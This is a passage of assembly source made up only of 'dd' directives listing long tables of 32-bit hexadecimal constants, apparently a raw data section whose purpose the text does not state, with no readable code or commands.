		dd 478001ACh, 0D1005B43h, 0F8965D32h, 1B724B04h, 91CCCh
		dd 60362E7h, 0FDB41C18h, 4589331Dh, 0A47D678Bh,	0A098AE00h
		dd 40D133Ch, 7F582193h,	6C0007Bh, 371C1521h, 4C50D457h
		dd 55E48CE8h, 0C7D91011h, 95806688h, 0F67B55A9h, 0A0A44824h
		dd 23B76C17h, 81165618h, 0D4CBBA01h, 5AC06988h,	0EEE2B8C1h
		dd 1DD3160Ch, 96000A7Ch, 755AC2F0h, 0C00E84Ch, 69768F9Ah
		dd 0D25B371Bh, 0D0ECA0D9h, 83CF880h, 0B296BB1Ah, 0A9D1E421h
		dd 17017D18h, 1FDCCC89h, 98227C1Bh, 3496EE22h, 0E84C8110h
		dd 12785822h, 6FEF220Ah, 2407C0E2h, 48843720h, 295B3806h
		dd 0EB7C0A0Eh, 0E7BDA0DEh, 481DA316h, 6B094C80h, 0CC6D55E1h
		dd 0EC9D5EE0h, 2E9C03BDh, 0A63C81D3h, 58722100h, 0E98D9F9Ah
		dd 2522006Fh, 0E06E1601h, 0EB01E40Eh, 0D86795F5h, 2878C152h
		dd 3C4021C8h, 8194ACDDh, 0F226F9D3h, 5EB10040h,	69A1D837h
		dd 50A43744h, 14D65938h, 783B7450h, 0F872EDC0h,	44B23964h
		dd 0A4F2C18Ah, 1F2F5C05h, 7110F46Eh, 11BA9621h,	0E0DA0E8Bh
		dd 0A49236D3h, 7486488h, 0A1707B22h, 62F34358h,	0EB673006h
		dd 8771BC3Ch, 60A744B0h, 263F17C0h, 4F3876D5h, 546FE304h
		dd 12E42384h, 0D95A05ADh, 0C060E2A7h, 855A591h,	5FFE0163h
		dd 2DD8DD8Ch, 46D464A6h, 907AAD20h, 6D6B2424h, 0DE4C249Ch
		dd 4DD97001h, 32EAE617h, 96FC10E8h, 15C09EBCh, 6E5BBCB5h
		dd 73900008h, 0DA869C10h, 0D2C13246h, 14634FE1h, 0A00E45F2h
		dd 9AAA400Fh, 48418A95h
		dd 9B218E9h, 0CFD91155h, 96001C9Ch, 77C155AAh, 0A0C6A0DBh
		dd 99F12ABh, 7F1754BEh,	0FD20CCE4h, 5A1FF887h, 110801B7h
		dd 0BC27E8DBh, 25734C18h, 0B0D4407Dh, 0F88CB8A3h, 8AA09674h
		dd 1FC4A78Bh, 0DE3B8013h, 89FFE4Ch, 10481E4Ch, 7C09C5DCh
		dd 6452C347h, 0E3631409h, 26470A9h, 164D0EC1h, 805E216Fh
		dd 9BC84F04h, 0CB2050E7h, 94721D3Dh, 509C9A26h,	3C99032Ch
		dd 44B4ED04h, 0D665201h, 0C89439A8h, 0E220216Ah, 123041A3h
		dd 961F434h, 0ED6F1D6Eh, 7B24CCC4h, 2E80F8C2h, 0C98F585Bh
		dd 8DF60F3Dh, 1340128Eh, 86CEC198h, 1056F4A1h, 3BAD1DB9h
		dd 0D52CD4A9h, 0C220820Ch, 3041F3B8h, 79D410EEh, 46A23EBCh
		dd 0F8DE48FCh, 731F7E81h, 89B4327Bh, 28EC02A3h,	0E29F0548h
		dd 0E51B84BCh, 5C761502h, 0F5607454h, 27AAA2B7h, 3C46E654h
		dd 0CCD660DDh, 0AC288CC8h, 0DC264C2Ch, 3C477315h, 57444D11h
		dd 582512A0h, 569C7461h, 125C1091h, 2831DD01h, 2023B0E2h
		dd 0C256D609h, 845CF001h, 3D0702Bh, 0C116640h, 138D0A5Fh
		dd 0DD4057E8h, 0FD6A02F8h, 0F9471BFFh, 742FA0D0h, 0A5B40052h
		dd 0BCED469Dh, 0D6AE0750h, 4E5E478Ah, 7B884516h, 0ECF040BFh
		dd 0F122E7E4h, 72D9F900h, 5AB2FA30h, 0D81704A8h, 0B855B3F3h
		dd 0C81F9300h, 0A0ADB80Ah, 4C88AA12h, 0ED048C04h, 0EEDCAB74h
		dd 0E5009638h, 0F5F0BF74h, 680938Ch, 3C4730F6h,	0A49E20FEh
		dd 9A74674h, 96AA72E3h,	0F46B456Ch, 0C4A0807Ch,	9B80A614h
		dd 81114B36h, 827F38C0h, 0B4CB929h, 16E08579h, 3911F844h
		dd 58EF64A4h, 0C100212Eh, 0F66062E4h, 0C200E207h, 4C56C539h
		dd 5EE9B6Bh, 9F2F7CAFh,	3B64E170h, 5149800Dh, 4F1BDBD4h
		dd 0ED107316h, 599A07A4h, 218E0048h, 4C1B453Bh,	15546601h
		dd 0D37A5162h, 84AC672Eh, 2420577Bh, 0E9F9CEh, 5C634932h
		dd 216BDB4h, 0D488A34Eh, 95350319h, 0AC8E6E0Eh,	0A48D5FE3h
		dd 0AF408090h, 0B6492C3Ch, 0A63D9DD0h, 0A806916Ch, 27E48F27h
		dd 0C48B4A2Fh, 0B9C369C8h, 29319001h, 3AA12CB5h, 125E4048h
		dd 10053D5Dh, 8F1A1705h, 3C8740C5h, 0EAC62892h,	0D1B0F9D4h
		dd 0E7E1869h, 1622E6EFh, 3CF90D01h, 509CC91Ah, 7B1D6AE0h
		dd 69002EE6h, 1BD468A8h, 0FC275E50h, 4E08BE7Fh,	4F7C1D70h
		dd 36125110h, 0B8280810h, 44ED3A83h, 0A02840B5h, 7CBC9CCDh
		dd 0A701CA46h, 17B4EE05h, 0BB78700Eh, 76914E13h, 68A17C90h
		dd 11C4A14Ah, 6283E82Ch, 20A8887Dh, 0C00387BBh,	9187B08h
		dd 8312F8C7h, 0D57F29E0h, 29DA07A8h, 0F437D5FDh, 0A5000DD8h
		dd 9C6166CEh, 20BF23Dh,	0E8A352D0h, 0D8B139A1h,	0B86CFA62h
		dd 91CC1797h, 0F7F80AAh, 9E1DD58h, 800D3B8Bh, 0A30950D0h
		dd 6035671Bh, 0D2E15EC4h, 0B25C01A1h, 0D3FD4EDAh, 8195DBE1h
		dd 82A01219h, 0B84293BDh, 16A730A3h, 943AEB11h,	0F180CE88h
		dd 0C733169Fh, 463E0069h, 614BDBDAh, 5212B805h,	8802C094h
		dd 525E471Fh, 0C3BC1094h, 8C8A8AB7h, 0D53F8C60h, 9DDC9ACBh
		dd 803D7437h, 900B3681h, 723CF860h, 1C49927h, 6C0D3AF2h
		dd 89C468C4h, 0E894E99Eh, 0E202D6D1h, 60A88484h, 21F016ACh
		dd 0F6C2BC3Ah, 0F44C40A4h, 69CC0055h, 0C27FBD72h, 1209B5D1h
		dd 81AFD425h, 0BE632BDAh, 8A3D6870h, 0C874ECC2h, 824222Dh
		dd 4A3070AEh, 0C4D49AFCh, 5C8128E8h, 0C020C027h, 0DA8A85Ah
		dd 0D18916A3h, 0A0D00087h, 5F721788h, 6CBBD82Ch, 0AB467Eh
		dd 81241033h, 2AA9C11Ah, 6C88839h, 0D53B89DDh, 0DC098172h
		dd 7251432Fh, 220C8490h, 0E5147C97h, 5D0A28Ch, 3F651B9h
		dd 0C7A7881h, 5822FC2Dh, 9B0F13F8h, 92FCA1BAh, 0B622681Fh
		dd 0D316E26Ch, 2131D4A1h, 0C8FC4258h, 2080AF26h, 6A026F03h
		dd 295B5177h, 2020D9B1h, 718125D8h, 58E0BC25h, 6E5518D0h
		dd 0F0899F81h, 18483912h, 0BC008A32h, 3D14291Ah, 92A6A0EDh
		dd 6791113Ch, 0C8C07A6Bh, 0ECA16179h, 5D382201h, 0C03B6EF6h
		dd 8E560055h, 327EBD85h, 0ED3F1731h, 0D0B8130Ah, 7946BB34h
		dd 0D4888760h, 4936A213h, 2F4EAC6Dh, 96423A8h, 0C484D7E4h
		dd 0DB1140D1h, 9ECCD008h, 0B4428960h, 0DE5E1801h, 0DCCC149Dh
		dd 12DDF423h, 0C0181FEAh, 0ED0501D8h, 379FFCACh, 7440098h
		dd 3B918C58h, 0F0F849F3h, 2600B618h, 0ED48F128h, 31087311h
		dd 0A1B0B524h, 0CF804840h, 12D72714h, 3D9D22A0h, 788B32F8h
		dd 4C243721h, 43A52DBh,	1504C723h, 7CC150CEh, 6B0373CFh
		dd 0CB28D1C8h, 0B244F090h, 893F251Dh, 80249009h, 23808DB1h
		dd 3268A280h, 4A8AE441h, 50CA4A64h, 5AC0C9C8h, 0DD86C7h
		dd 1B0EC0ECh, 73CD3F1Eh, 428A4B1h, 44C8234Eh, 563227A1h
		dd 0DB4B7C90h, 0B4FC80h, 1C8DDEB5h, 0C7177C50h,	4C8D745Bh
		dd 6AB2D072h, 26696230h, 174218DEh, 1D7440A8h, 0FAE601ADh
		dd 52050C92h, 0AFB4E53Dh, 4049E8E4h, 0B61D0744h, 7CFFFE0Dh
		dd 572F2812h, 0EF3CC8F6h, 0D43BB5C0h, 26A0BE74h, 4031D018h
		dd 0E9925E99h, 2B6807BDh, 28E9E0D5h, 41004E15h,	0F8C1EBD2h
		dd 58E7C070h, 58257CECh, 838D4C43h, 0F116E37Ch,	0C0931EDAh
		dd 5F54C7EDh, 28738240h, 581D2F84h, 7B05B924h, 98A252ABh
		dd 83540778h, 0D0E3DA36h, 7238D68Ch, 0A610F503h, 80E01C5Eh
		dd 2591B27Bh, 17BA82h, 94806511h, 3F1BF3D7h, 80684926h
		dd 0AAA18440h, 79F58053h, 24234E80h, 8020C57Ch,	7FCC1B6h
		dd 6B003530h, 0F2174A0Ah, 264F8576h, 162699D0h,	0E70CE455h
		dd 162FDF41h, 0E288B360h, 28903F28h, 0E02E5BBCh, 0D8A6108Fh
		dd 0E86E6509h, 0B0F0FB48h, 0B4920434h, 8895D8E4h, 0EC14B2E0h
		dd 1F08C58Ch, 68042232h, 3C815FD0h, 84226E47h, 0C0D0A524h
		dd 3AED16A9h, 0C522A446h, 16A1F30Bh, 1020E0DFh,	0D8AA2D6Fh
		dd 0C8444CE7h, 982DA160h, 371BAD16h, 44D04C20h,	665406B5h
		dd 31C47BB6h, 0EC71E00h, 0DCEE1DFEh, 0A49C00D7h, 5DCD18FAh
		dd 6004F799h, 0B391BB4Ch, 70A19080h, 0E2A8B623h, 0B029ABD7h
		dd 345D0C4h, 81E067B3h,	7116C17Bh, 440FB662h, 8CD213C7h
		dd 0CA20CBA1h, 2D51C1E3h, 0E6DE58E9h, 811C2C9Ch, 0F001C990h
		dd 766BBC2Fh, 8074F48h,	61BBD817h, 3E6E92D0h, 18C794Ch
		dd 2451495Ch, 0CAC66488h, 8FA9ECC0h, 2EE9DF0Bh,	933482B0h
		dd 0E4B20153h, 38C2CBCh, 0A16EC3B4h, 0D283E778h, 96B9FE10h
		dd 93CB089Ch, 5B374031h, 40508448h, 27185C89h, 11875C7h
		dd 0D01012DBh, 0DAC8E4C8h, 0B5417CF0h, 886F3C60h, 0B03708D8h
		dd 0B1AF19B1h, 9739DC48h, 1031856h, 48CE4C39h, 67B0FCA1h
		dd 9C9A4F54h, 4B54C183h, 27DEBBC8h, 9C5CEF20h, 7DEC402Ch
		dd 540016BFh, 8C2C4D5Bh, 48B04BB9h, 12C2303Dh, 4516A19Fh
		dd 6231F9D2h, 0D6685048h, 0BF1D4312h, 0F1B93C62h, 186A7188h
		dd 5E6800FAh, 711E8F13h, 615E9B77h, 424BE8C8h, 479E11C5h
		dd 2A81D43Ch, 68A1A386h, 2D48614Fh, 4DA1E74h, 2884E8A7h
		dd 6A19C3C5h, 11C8ADF9h, 0B14BD8D9h, 0E991B490h, 0A8F15C55h
		dd 0EC3003A2h, 0DCAA1774h, 951838E6h, 0E574E400h, 0E66AF88Fh
		dd 6B47F818h, 3CD9B15Fh, 57354603h, 9712983Ch, 0FDA6129Fh
		dd 88681F15h, 352C80CBh, 48F4230Ah, 771FDE40h, 0EBEC9471h
		dd 574B0002h, 41D11100h, 561001BAh, 146C397h, 0CC453B7Dh
		dd 9409A8AAh, 72E78988h, 0ECA30DECh, 816DD3Ah, 51C04398h
		dd 1E4D06C0h, 0D0014D37h
		dd 6C10781Ch, 967B9C30h, 88608754h, 4F800180h, 14E094C8h
		dd 0BC46CF47h, 4509D448h, 0E427DDF6h, 80116593h, 9AF7EAD4h
		dd 7E0B589Ah, 0F89CC512h, 411070E8h, 0A8C70D3h,	909F6574h
		dd 496288h, 0A246DB7Ah,	17E01B70h, 70F44C31h, 74F65F11h
		dd 0BD474204h, 5C825A25h, 0B0F301D2h, 0BC9C2820h, 83A8C6Ch
		dd 383F8001h, 0BD669B9Eh, 1FE4B980h, 562D091Dh,	274AB87Ah
		dd 69379C44h, 5162585Dh, 2E009C8Ch, 63C00C34h, 36A5AF8h
		dd 0FB0840A6h, 0EFE0B63Ah, 402AF22h, 9103CF5h, 2480E19Fh
		dd 70BFC39h, 0C839D2BBh, 15300669h, 84B96C0Bh, 7FA13708h
		dd 0F3F0DC02h, 0E38DC63h, 2837AB85h, 1E82A90Ch,	60E22320h
		dd 0C0604D25h, 1FC4122Ch, 0E1D72705h, 0D804A577h, 0AE008299h
		dd 0D5AF8C0Dh, 36BBC312h, 1422F616h, 71B071FDh,	3B7618A8h
		dd 10128767h, 0E220E030h, 2BDBA602h, 486D471Eh,	74E0A274h
		dd 0A0774A2Fh, 0DC3A535Ch, 0A3930395h, 89FF51Bh, 5B4EB320h
		dd 0A5F0C60h, 0F1AE7462h, 8A16A479h, 1BECA01Ch,	0D517061h
		dd 502EAA14h, 0B85024ACh, 3AE3091Dh, 60A384E5h,	3068F2BDh
		dd 4C20180Eh, 0A82A3201h, 0A356C25Bh, 55002C73h, 74052726h
		dd 0C6006B71h, 0DF092FFFh, 9F25BB8h, 0DEEFBA65h, 0C8817605h
		dd 0FBF05E98h, 60086B51h, 0B1CF6714h, 38421619h, 68D7E8D8h
		dd 163AE5C8h, 0A7A47005h, 4FA61610h, 8A2610F2h,	2742CF38h
		dd 30646147h, 2D94224Ch, 82E863E1h, 55F4609Ah, 3A2FF17Bh
		dd 39672360h, 4610C880h, 0AA93DB6Ch, 0AB1A3203h, 0A8854C2Fh
		dd 0B27E0318h, 74A59570h, 2E7C8B48h, 467E60D5h,	5AC300A7h
		dd 84D4B612h, 624B070Ch, 71B17551h, 8C7D0727h, 0B9DBEE68h
		dd 0F1D62F5Eh, 500AD8A2h, 50FC6A0Ch, 6190B0ADh,	34A12128h
		dd 0A0227B99h, 55B030E7h, 0BFD90F10h, 55A894E0h, 0C4D56602h
		dd 0E438B0EAh, 9CF707D4h, 0F3F4D4ABh, 0F0A4DD3Dh, 7A25ADB0h
		dd 949420BBh, 0F0B62F69h, 0D81505B9h, 0B0281072h, 0A4B8ECE4h
		dd 0C87F204h, 9AC0D450h, 9E8297Eh, 0A708DCB2h, 0BB09C052h
		dd 10A34004h, 3FA468h, 393292ADh, 4FBDFFC1h, 91828C0h
		dd 1F3D6993h, 85800D10h, 0F3156EFCh, 9E19B144h,	9E19841Fh
		dd 58D30B2Eh, 0C05C0256h, 48209B4h, 6C5A7145h, 0CD66C416h
		dd 44D9C842h, 9DECDE16h, 0C00120EFh, 375A260Eh,	0E1A26FFDh
		dd 3C4812DCh, 0FD102449h, 1FD80004h, 1B6AACA6h,	362A04F2h
		dd 0E5C33C9Fh, 28436B68h, 0F32EE5h, 16E78810h, 0D2FE33Dh
		dd 2DD11800h, 4BD37667h, 0D4C00A94h, 8789264h, 9A095EDFh
		dd 2044E402h, 7B0FC273h, 825242A0h, 57FCE53Bh, 0F0DE4C04h
		dd 9A4AD814h, 2DA2C8B6h, 0BC2D903Fh, 9C3E05DAh,	2054A56Eh
		dd 38F244D0h, 0C8947625h, 16DDAC70h, 0C0AE97D8h, 7CC16E0Ch
		dd 8F602D83h, 0A5675C48h, 8617741h, 0E8C0CC7Dh,	771BCCF7h
		dd 356B0C0Fh, 366AE037h, 9C4D669Ch, 82A91FF8h, 9456393Dh
		dd 4E101CF6h, 515F3818h, 0C900910Ch, 0F58A9A48h, 1353C707h
		dd 0CCB3564Ah, 9305B028h, 54AD46BBh, 38445460h,	608765BAh
		dd 20CE8B9h, 0AF48529Fh, 0A410544Eh, 7EB309E4h,	0A15AE0E8h
		dd 54B23511h, 0A86DDF03h, 36E15713h, 7B0C254Ch,	19E87C30h
		dd 3B0B11A2h, 0A9B5F34Eh, 0E08CA253h, 6381F6BDh, 4CF83B58h
		dd 64DC5F18h, 3EEE09B7h, 0F0733BCAh, 0DE20B160h, 0A2784B82h
		dd 0FAA207DCh, 58B57612h, 0C1B484B9h, 4F1EECh, 607BBA04h
		dd 52D818E8h, 48A45027h, 0EBB7F202h, 22B38F6h, 0C81C544Bh
		dd 0FD58DCD0h, 79F70AB7h, 0D020D056h, 0C344ED3Dh, 0BAB5ECE0h
		dd 54275450h, 99C9453h,	145602F0h, 50B59538h, 961604D0h
		dd 8D4B39Eh, 0B7308C04h, 0BD9033ABh, 911CB8E5h,	0FCA61738h
		dd 84FF50F0h, 0E5D9472Fh, 19D70078h, 44384AE7h,	8DC6E080h
		dd 0B072B91Fh, 142846B6h, 60DAE407h, 605BF585h,	222FDE50h
		dd 672F7CA6h, 684CE4BCh, 0CB0C411Bh, 0D05C4813h, 9C12C2CCh
		dd 7910F170h, 8ED8196Dh, 0ACB7FD9h, 0DDC1869Ah,	13F82620h
		dd 0F1200484h, 0EC40A8E3h, 9F008CA6h, 0EF67FE4Ch, 9DBA019Bh
		dd 6C11A097h, 9F7BBB80h, 0A700DE47h, 50AD79C3h,	5FE791B7h
		dd 0AA6C244Fh, 6623342Bh, 79988A00h, 0ADB188Eh,	753AF726h
		dd 1C6242D8h, 0BA0B60FAh, 10B044ECh, 0B983C708h, 496CACB4h
		dd 465EAC76h, 5FE00AFh,	0EF93D9A5h, 910E12D7h, 0ACB80529h
		dd 50381FA9h, 5EB2066Ch, 441F0D8h, 10D0831Dh, 5832AF1Ch
		dd 7C8C7CA2h, 0A70F6C46h, 1058A0Dh, 80D8BCEEh, 5182A4E5h
		dd 0F7590033h, 0B2D51CC4h, 84F50C7Bh, 0D45F1120h, 0F80120B9h
		dd 1DA92F3Ch, 3C5CCA37h, 13B4AA00h, 16C6179Bh, 2831C5Ch
		dd 44DD3AE9h, 7608DC70h, 6B7B47h, 1C138312h, 5640C537h
		dd 0D1620E8Fh, 21CB5AB8h, 17D22C98h, 6C09700h, 456F1C51h
		dd 0CF30C067h, 4B350A28h, 22A2523Ah, 0F078135Dh, 0D400D7EFh
		dd 45A60150h, 0E450293Ch, 0D4F14Ch, 0DBADF494h,	16BDB69Fh
		dd 21CC36F2h, 0F452E891h, 59086F33h, 7523866Fh,	3012AFDBh
		dd 0A0D03BA4h, 273D32EFh, 8483C4D4h, 79486A15h,	0C59F1994h
		dd 0E0CDC18h, 1C5680A0h, 11381795h, 0A1C78EC8h,	0C67B62DDh
		dd 61151987h, 772505Fh,	0E500B66Fh, 18F7E149h, 1F40DC39h
		dd 25D67C38h, 0C241C050h, 74AC0020h, 0B41B30B0h, 5EAE0749h
		dd 7CBF2F12h, 98478A8h,	0F91D0BE4h, 0DE9F0030h,	884F1663h
		dd 139244h, 177A4D94h, 0B7DCB3C4h, 115C19D4h, 0DE0B55D1h
		dd 0C4FA6B5Ah, 6957071Ch, 0F65898C0h, 1604732h,	0D824174Dh
		dd 2F906C18h, 3DD0C900h, 84117Bh, 4B337F53h, 0A5FEEABBh
		dd 0C0C1C85Eh, 4E19B344h, 0D3A0524h, 804993A0h,	0E2009014h
		dd 0B2EC25DCh, 0F80D1010h, 8DB3C046h, 0D24B21E4h, 0E8851808h
		dd 2B97020h, 0DE493D8Ch, 39D49FAAh, 0CD24103Ch,	74969060h
		dd 87DFC305h, 0C424C788h, 9400043Fh, 0C016F5CBh, 2000FBC7h
		dd 1FDB73BEh, 0E804C2B6h, 530CA0B1h, 0B51D01E2h, 7C1705B4h
		dd 708BE73h, 0B825B2B7h, 0BF1C9F1Eh, 0C720FE43h, 701980BCh
		dd 16010DB6h, 0FC28C6B5h, 61C9FB73h, 0F0D8FAD2h, 0F5813CC3h
		dd 0B21EBD3Ah, 26B4DC05h, 1CC003Fh, 9F5D7E27h, 735CBB02h
		dd 816FD1B2h, 24027B04h, 0D2056080h, 0FDE4A792h, 0B2967A18h
		dd 671A06D1h, 432880B9h, 0A066F6C1h, 2AA12118h,	0F08C922h
		dd 0B5C01AFEh, 0A6051389h, 80381BBBh, 8207883Fh, 0BF1B05C5h
		dd 738C00C1h, 5A0024B7h, 0B519D560h, 60FAFDB6h,	6FEE389Dh
		dd 40CFF678h, 0B3166096h, 106E1BEh, 0D1CF73A4h,	0EA9CB774h
		dd 15012760h, 0E1A19933h, 0B3D6A190h, 0C2B878BEh, 0A510F5B8h
		dd 15C8A7h, 0C7B929D7h,	6F42FFDBh, 1B0A9880h, 0E711A2C4h
		dd 0A3CE7005h, 1868CC34h, 4B0EA3Ch, 0FCB53810h,	93808474h
		dd 3217E001h, 3C216AFDh, 19125E7Ch, 4F3130C8h, 5F22E81Ah
		dd 0EAC8C318h, 4174D486h, 25C8385h, 0DCC4C8BAh,	249050D8h
		dd 0D30513B0h, 2878823Fh, 1C141855h, 58218BC6h,	4CD82C27h
		dd 0FC61C260h, 13084FA1h, 47918982h, 845654A9h,	71E55B8Dh
		dd 93365890h, 609CB8B5h, 522822ADh, 0B0097C48h,	4993ACE5h
		dd 68447BE8h, 2C7D880Ah, 60B1702Eh, 91103FCEh, 59C1D067h
		dd 0B2EBE84Eh, 43949CF2h, 0D6F68899h, 1E842B43h, 32216AFDh
		dd 462AC3C4h, 94A8100Ch, 0A9353C12h, 22C448C0h,	16621666h
		dd 34B04147h, 3EAF900Dh
		dd 61363C44h, 8FE8DA43h, 13A0029Dh, 4D64874h, 78913817h
		dd 0AC6C27E0h, 2887A286h, 67169000h, 0C3E8D8EDh, 0A84895C6h
		dd 22846881h, 3C160716h, 288384EDh, 0DAFE90D6h,	371B1556h
		dd 5478AC23h, 27524F0h,	3A95DEA0h, 98AF2AD5h, 64E32F03h
		dd 13348809h, 85AF89A7h, 0B05E750Ch, 0B404F14h,	62EB16D2h
		dd 30049AF4h, 89DB0E44h, 0DC28152Bh, 70A99FD4h,	116338E1h
		dd 542FD75Eh, 3B1148B4h, 72081B86h, 2B182191h, 33C87A90h
		dd 23326A64h, 5F111C2Ah, 0C148649Dh, 5985715h, 833B5C04h
		dd 77143400h, 40C8F1FCh, 9718C181h, 503C22B7h, 0E041939Ch
		dd 0B02CB2E1h, 0B0731DC1h, 1EB86D3Ch, 0E002C843h, 0E7103D21h
		dd 345EE400h, 5EB110F6h, 0A7820B57h, 0DCE42162h, 0B15A3C7Bh
		dd 552A820h, 3B8600C2h,	0AC8D1B13h, 4A2D1064h, 804412h
		dd 37063DFFh, 0A4DD4382h, 9B1FEF09h, 9942062h, 0B88858h
		dd 47B546C5h, 6BE82432h, 0B3053D7Fh, 0F38FA7A4h, 4FD3CC5h
		dd 0D97020B8h, 473DE000h, 62C82FD1h, 8C7B5051h,	24E559A8h
		dd 0B775399Ah, 0F05200F8h, 0F525BC6Ah, 0E9781204h, 34F0563Ch
		dd 0E06F04F8h, 0E2911E8Eh, 3167F25Ch, 34ACF4D8h, 4A39757Eh
		dd 9809DB5Ah, 0D19C6844h, 54930039h, 8B13A891h,	1F0F195Dh
		dd 497EB0C1h, 7104D11Ch, 0CF18C9h, 0B92A7F6Eh, 74F0DDA9h
		dd 4158EB25h, 5E125CE0h, 1390107Dh, 273D0073h, 0B39FC035h
		dd 0A20001F2h, 0A80BC362h, 0F12F0A9h, 906A11A0h, 80EB9E47h
		dd 0C0B66FD9h, 0B340189Eh, 3CB4138Eh, 0DC5BC852h, 6E00AB0Ch
		dd 1EF50D2Eh, 1A95680Eh, 29D71BB7h, 4A24AC74h, 1262CC04h
		dd 56FCCA4h, 14687C6Ch,	852F82DBh, 0F30028D9h, 0D2231613h
		dd 9E7003Eh, 7D58620h, 0E30050B9h, 0B35FB19Dh, 744533Ah
		dd 570DB663h, 97E292C2h, 0E003C59h, 54761622h, 0BD6813DEh
		dd 74D4080Fh, 0E48045ADh, 5F3160C9h, 14CCFC93h,	905ED9C0h
		dd 2768A183h, 0EBB2E022h, 6F201A82h, 0FC7CC4C8h, 6A690A02h
		dd 19ACF951h, 0F0E9B199h, 0C612F7A9h, 880FA8C8h, 0FD3A8185h
		dd 3C3CA4B1h, 0B0130EC0h, 169D1E1Bh, 6D73D50h, 83ECA24Bh
		dd 50579B8Eh, 4D55579h,	4D50F61Eh, 0C16CE009h, 4AD6DA18h
		dd 3967A1C1h, 7A1F5490h, 194218D9h, 8C9C3515h, 0C584519Eh
		dd 0D08E1371h, 29C26788h, 703CD3B4h, 6826A228h,	22FBC40h
		dd 5DA1B214h, 0C008E09Fh, 0B30C4253h, 0D00B7A11h, 0FF1BE120h
		dd 0BA4AAA18h, 6388848Bh, 0CE116C7h, 0B092A7EAh, 0ED4BD7Ch
		dd 800F1B59h, 9CDEC9Eh,	0E41AFEA0h, 0DE75097Fh,	84D29A54h
		dd 37EA4201h, 0EDADF841h, 44F2h, 0F67D4709h, 336C79CDh
		dd 7CA1314h, 483C2DF0h,	0AE73F0h, 0D3996584h, 69060271h
		dd 0AF8DB816h, 0AE7C20D0h, 31A4603Bh, 594204Eh,	0ABC68C2Ch
		dd 92146900h, 242D736h,	0AB7196Eh, 0E8FC864Fh, 0C4262C40h
		dd 89795Dh, 0C525CEA6h,	3FA88EAEh, 0C56AF00h, 381215D1h
		dd 0C4585C81h, 0EE1F033Bh, 7F34010Fh, 0F0C984C0h, 0E1004CA4h
		dd 0DC47CA8Ah, 392932A5h, 6C00412Ch, 8B67DD6h, 271CA81Fh
		dd 365EA1B4h, 14B05213h, 96F90124h, 7C47BE79h, 83044B72h
		dd 7E41D7h, 0B5F6A710h,	71946BA2h, 3FB721C1h, 0FA20F724h
		dd 301D1F4Dh, 4B9500C1h, 0D18315CCh, 74095F19h,	54E01C48h
		dd 33A675CDh, 5B28B530h, 71293EC4h, 5FD28150h, 8F59950Ah
		dd 1F12E821h, 0C8C46B40h, 0C6CE7199h, 39B84A18h, 412FD630h
		dd 6171B9C8h, 139918AEh, 4639860Eh, 0C14AFAh, 72EF9E64h
		dd 1C05E690h, 7701D30Eh, 6AF5E01Ah, 18FE687Fh, 917AF845h
		dd 0D23071C2h, 0EEF7A17Dh, 3C7F8Eh, 762F446Ch, 89CCBC39h
		dd 2715E0C0h, 61666BAh,	20018E78h, 2C0719B3h, 746B5255h
		dd 72E83340h, 77C41C6Ch, 7A5F73h, 741B982h, 397BC160h
		dd 64665803h, 5623C0h, 0AD697009h, 4AA129EFh, 0BC327605h
		dd 4C7374CBh, 0BAB80504h, 22584ACDh, 0C02318E0h, 28480C6Eh
		dd 0E9F02A3Dh, 19119981h, 39AC50BFh, 7F014CCCh,	79FA4DC4h
		dd 0EFECF2B8h, 5448C1D3h, 94F4CC05h, 81E04DC8h,	3FA2ADF7h
		dd 6EBDF9D0h, 0AF631837h, 213D827Bh, 952F8C79h,	332D7167h
		dd 0C4B8C042h, 6FB440C5h, 6BC25527h, 204ABF0Ch,	25E7016h
		dd 0BD7241C7h, 202F4CCBh, 0A511412h, 18D8F022h,	0C1B04B7Ch
		dd 0B300C11Ah, 0BF59016Fh, 28E0F842h, 809C4076h, 0A683658h
		dd 4EF945F7h, 0F037BC90h, 0D280D810h, 3DF77901h, 5C20374h
		dd 9507916Ah, 87C411Fh,	6504565Dh, 74911D43h, 0BC502675h
		dd 374C32Fh, 0E9A0BC5Ah, 393C6C1Fh, 0F7E607D0h,	0D300F2AEh
		dd 0C095AC25h, 7FF040B0h, 2C902B77h, 0F79344h, 27706B30h
		dd 0DCD25D31h, 9D871C09h, 0B4B008CBh, 4DE3BE80h, 30A9731h
		dd 421728ADh, 489B64AEh, 1C812124h, 599ACC8Ch, 0C388A377h
		dd 1D1100A2h, 0A3C36331h, 4614C109h, 0CFD48AF8h, 0A810329Fh
		dd 0D605628h, 21A342E4h, 3FCDF8C4h, 0E7144089h,	0C0050C0Ah
		dd 41A04B43h, 78CC3BD0h, 0F720208Ah, 4C86B100h,	0B284616Bh
		dd 15EE75F4h, 146C7552h, 0F8C0459Dh, 423004C9h,	12C127C8h
		dd 4BF04DBCh, 7069C044h, 39D1A7C2h, 0E973991Eh,	1FC443C0h
		dd 76D58BF7h, 0BE29C04Ah, 0EF6C4C4Dh, 0CE2CFE6Fh, 0A262A945h
		dd 6268D244h, 84281768h, 3A544D8Eh, 7A6FBB01h, 8238394Fh
		dd 95437759h, 6C0A180h,	0EEF06489h, 0C261C7B7h,	9081D0AFh
		dd 0AC98BCEFh, 881C8048h, 70686098h, 3FE0B822h,	1B987C50h
		dd 0F2104142h, 33186797h, 0B05242E8h, 8A0C8B11h, 5849BD40h
		dd 20A130B5h, 1C118007h, 3048BDC0h, 70CC008Eh, 0C2A12FFFh
		dd 0AB5096F8h, 1241222Ch, 35F012F3h, 905E47h, 8139CC75h
		dd 3A31EA80h, 0C0CAB1ECh, 97048FC9h, 1C8E3804h,	0E91681C8h
		dd 2084A72Ah, 900AD7D3h, 0DFF4ACC8h, 814C14BAh,	700D1CA8h
		dd 0B8780440h, 58DCCC37h, 0F7047893h, 8155221Eh, 0CF04FF3Ch
		dd 7D9937F0h, 4412E928h, 8351AD69h, 3E1EEEA0h, 0E88C0131h
		dd 0EB80B816h, 6958321Fh, 18C0BE3Dh, 5518B362h,	0D184443h
		dd 0BE32F910h, 0EF56C100h, 15C92333h, 905276E4h, 451C1894h
		dd 78AC1630h, 0D466E0EAh, 4071B410h, 54F8EB88h,	22186E64h
		dd 54D84D2h, 0BE9841D7h, 80B2339Fh, 8B5A95E8h, 30C98314h
		dd 0D7C08882h, 570A4125h, 14A39ECDh, 888A4E08h,	0F1888935h
		dd 0B0BB8840h, 441D4291h, 0E8D58027h, 0A332D7C9h, 8F7C7200h
		dd 0EA0F1C3Eh, 0B0B800D9h, 0B411964Ah, 69031398h, 0C9B73655h
		dd 2B54F9F3h, 0F67AF8h,	85182C87h, 0A0B0D23Ch, 0F87F6C00h
